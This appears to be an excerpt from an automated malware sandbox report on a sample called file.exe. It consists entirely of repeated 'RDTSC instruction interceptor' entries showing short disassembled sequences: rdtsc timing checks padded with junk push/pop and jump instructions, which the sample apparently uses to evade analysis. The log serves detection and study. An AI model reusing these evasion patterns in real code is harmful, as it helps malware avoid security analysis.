Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312634 second address: 1312638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312638 second address: 131263E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13159EA second address: 1315A1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B309h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1548D0B301h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315A1E second address: 1315A24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131BBD4 second address: 131BC0D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F1548D0B301h 0x00000012 jmp 00007F1548D0B301h 0x00000017 popad 0x00000018 jns 00007F1548D0B300h 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A7A2 second address: 131A7B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B8Ch 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A7B4 second address: 131A7DA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1548D0B310h 0x00000008 js 00007F1548D0B2F6h 0x0000000e jmp 00007F1548D0B304h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A7DA second address: 131A7FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F15490E9B8Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e ja 00007F15490E9B8Eh 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A7FC second address: 131A827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007F1548D0B2FCh 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edi 0x0000000d jmp 00007F1548D0B2FAh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1548D0B2FBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131AECD second address: 131AEF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F15490E9B8Eh 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d js 00007F15490E9B86h 0x00000013 pop ebx 0x00000014 popad 0x00000015 push edi 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B4A1 second address: 131B4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B4A8 second address: 131B4B2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15490E9B92h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B4B2 second address: 131B4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131BA56 second address: 131BA5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131BA5A second address: 131BA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A2A4 second address: 131A2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F15490E9B94h 0x0000000f jnc 00007F15490E9B86h 0x00000015 popad 0x00000016 push ebx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F15490E9B8Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A2DB second address: 131A2DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324E49 second address: 1324E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324E4F second address: 1324E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jne 00007F1548D0B2FEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1325C27 second address: 1325C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1326069 second address: 132607C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1548D0B2FDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132607C second address: 1326081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E439 second address: 129E43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E43F second address: 129E47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15490E9B8Fh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 push edx 0x00000014 pop edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop edi 0x00000018 jne 00007F15490E9B9Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13282F8 second address: 132831C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1548D0B308h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132831C second address: 1328322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13284AE second address: 13284B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129FF9B second address: 129FFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F15490E9B91h 0x0000000b popad 0x0000000c jmp 00007F15490E9B95h 0x00000011 jmp 00007F15490E9B8Fh 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jmp 00007F15490E9B90h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B379 second address: 132B37D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B37D second address: 132B388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132E0E8 second address: 132E0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132E0EE second address: 132E0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132E252 second address: 132E28C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F1548D0B309h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F1548D0B301h 0x00000013 jno 00007F1548D0B2FEh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007F1548D0B2FAh 0x00000022 pushad 0x00000023 popad 0x00000024 push edx 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132E3E3 second address: 132E428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F15490E9B86h 0x0000000a pop eax 0x0000000b jmp 00007F15490E9B8Ah 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push eax 0x00000013 jmp 00007F15490E9B92h 0x00000018 pop eax 0x00000019 jmp 00007F15490E9B97h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132E428 second address: 132E42E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132E42E second address: 132E434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132E434 second address: 132E443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F1548D0B2F6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335809 second address: 133580D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133580D second address: 1335824 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335824 second address: 133582C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334413 second address: 1334417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334417 second address: 133441F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133441F second address: 133442B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1548D0B2F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133442B second address: 1334431 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334565 second address: 1334574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1548D0B2F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334574 second address: 1334580 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334580 second address: 1334584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6B9E second address: 12E6BA8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6BA8 second address: 12E6C3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B306h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D3031h], ecx 0x00000010 mov ebx, dword ptr [ebp+12497B2Ch] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F1548D0B2F8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 movsx edi, si 0x00000033 add eax, ebx 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F1548D0B2F8h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f pushad 0x00000050 jmp 00007F1548D0B307h 0x00000055 mov edi, dword ptr [ebp+122D2A9Dh] 0x0000005b popad 0x0000005c push ecx 0x0000005d clc 0x0000005e pop edx 0x0000005f push eax 0x00000060 pushad 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133499C second address: 13349A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13349A0 second address: 13349D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1548D0B303h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F1548D0B31Ch 0x00000011 jp 00007F1548D0B302h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13349D5 second address: 13349D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339ACB second address: 1339ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F1548D0B2F6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338DD0 second address: 1338DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338DD4 second address: 1338DF7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jg 00007F1548D0B2F6h 0x00000011 jo 00007F1548D0B2F6h 0x00000017 jmp 00007F1548D0B2FBh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338F55 second address: 1338F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007F15490E9B86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13390A0 second address: 13390A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13390A4 second address: 13390A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13390A8 second address: 13390AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339203 second address: 133920D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C68F second address: 133C6A1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1548D0B2F8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CA66 second address: 133CA6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CA6F second address: 133CAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1548D0B303h 0x00000009 jmp 00007F1548D0B2FCh 0x0000000e popad 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 popad 0x00000014 pushad 0x00000015 push ecx 0x00000016 js 00007F1548D0B2F6h 0x0000001c jg 00007F1548D0B2F6h 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CAAD second address: 133CAB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CAB1 second address: 133CACB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1548D0B301h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CACB second address: 133CAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F15490E9B86h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F15490E9B96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134382F second address: 1343837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343837 second address: 1343841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F15490E9B86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134399E second address: 13439B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jne 00007F1548D0B2F6h 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 popad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344172 second address: 1344176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344176 second address: 1344180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344180 second address: 1344190 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 ja 00007F15490E9B94h 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344190 second address: 1344196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13449D5 second address: 13449DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344C83 second address: 1344C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1548D0B2F6h 0x0000000a popad 0x0000000b jnp 00007F1548D0B2FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344C96 second address: 1344C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344C9A second address: 1344CA6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344CA6 second address: 1344CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349BB7 second address: 1349BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349BBB second address: 1349BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349BC1 second address: 1349BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1548D0B303h 0x0000000b jnc 00007F1548D0B2FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349D02 second address: 1349D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349D0C second address: 1349D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349E86 second address: 1349EA0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15490E9B88h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jo 00007F15490E9B86h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349EA0 second address: 1349EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F1548D0B2FBh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349EB3 second address: 1349ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F15490E9B99h 0x0000000c jp 00007F15490E9B86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349ED9 second address: 1349EDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13560DD second address: 13560E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13560E1 second address: 13560E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13560E7 second address: 135612B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F15490E9BB5h 0x0000000f push ebx 0x00000010 jmp 00007F15490E9B93h 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 jmp 00007F15490E9B90h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13563E0 second address: 13563E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
